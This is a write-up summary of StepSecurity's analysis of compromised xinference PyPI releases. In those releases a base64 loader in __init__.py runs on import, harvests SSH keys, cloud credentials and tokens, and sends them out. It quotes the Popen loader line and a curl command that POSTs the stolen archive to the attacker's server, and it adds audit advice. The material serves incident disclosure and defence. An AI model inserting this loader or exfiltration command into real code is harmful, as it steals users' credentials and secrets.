# TeamPCP Injects Two-Stage Credential Stealer into xinference PyPI Package

Malicious xinference PyPI releases 2.6.0-2.6.2 injected a two-stage credential stealer into __init__.py that harvests SSH keys, cloud creds, and env vars on import and exfiltrates them.

- Payout: Real-world hack
- Severity: critical
- Program: xinference
- Analysis by: StepSecurity
- Disclosed: 2026-05-04
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/teampcp-injects-two-stage-credential-stealer-into-xinference-pypi-package
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-teampcp-injects-two-stage-credential-stealer-into-xinference-pypi-package
- Tags: area:cloud domain:cloud domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:python technique:reverse-engineering technique:source-review vuln:secrets-leak

**Target:** PyPI package xinference/__init__.py
**Root cause:** Attacker published three versions of xinference with a base64-encoded stage-1 blob embedded in __init__.py that spawns a detached subprocess decoding and piping a stage-2 credential collector to python via stdin.
**Steps:**
1. `pip install xinference==2.6.2`
2. `import xinference` triggers `subprocess.Popen([sys.executable,'-c',"import base64; exec(base64.b64decode('<test>'))"])`
3. Stage 1 decodes `jk` blob and pipes it to `python -` via stdin, capturing stdout to temp file `f`
4. Stage 2 harvests SSH keys, AWS creds (disk/env/IMDS v2), k8s tokens, GCP/Azure/Docker configs, .env files, shell history, TLS keys, CI configs, crypto wallets
5. Stage 1 tars `f` to `love.tar.gz` and `curl --data-binary @love.tar.gz https://whereisitat.lucyatemysuperbox.space/ -H 'X-QT-SR: 14'`
6. TemporaryDirectory context manager wipes artifacts after POST
**How found:** Static analysis of all three compromised versions; decoded both base64 stages. Noticed injection moved from module scope (2.6.0) to inside _install() (2.6.1/2.6.2) and Popen vs exec() variation across versions, indicating live attacker iteration. Actor marker '# hacked by teampcp' in decoded stage 1.
**Exploitation:** Fires unconditionally on any import of xinference (app code, CLI, service startup, dependency resolution). Detached subprocess with stdout/stderr suppressed hides execution. Stage 2 runs in-memory via stdin pipe, collects credentials including live AWS IMDS role creds and Secrets Manager/SSM values, compresses to love.tar.gz, and POSTs to attacker C2 with campaign routing header X-QT-SR: 14. Temp dir auto-cleaned leaving no disk artifacts.
**Escalation:** Stage 2 uses harvested AWS keys to make live API calls to Secrets Manager ListSecrets and SSM DescribeParameters, expanding credential theft beyond filesystem to cloud secret stores; also greps for Slack/Discord webhooks and auth.log for lateral movement.
**Insight:** When auditing a package diff, check whether a new base64 blob is passed to subprocess.Popen/exec inside __init__.py or any function called at import time — attackers hide payloads inside legitimate helper functions (like _install) to evade casual diff review, and detached Popen with DEVNULL suppresses all runtime indicators.
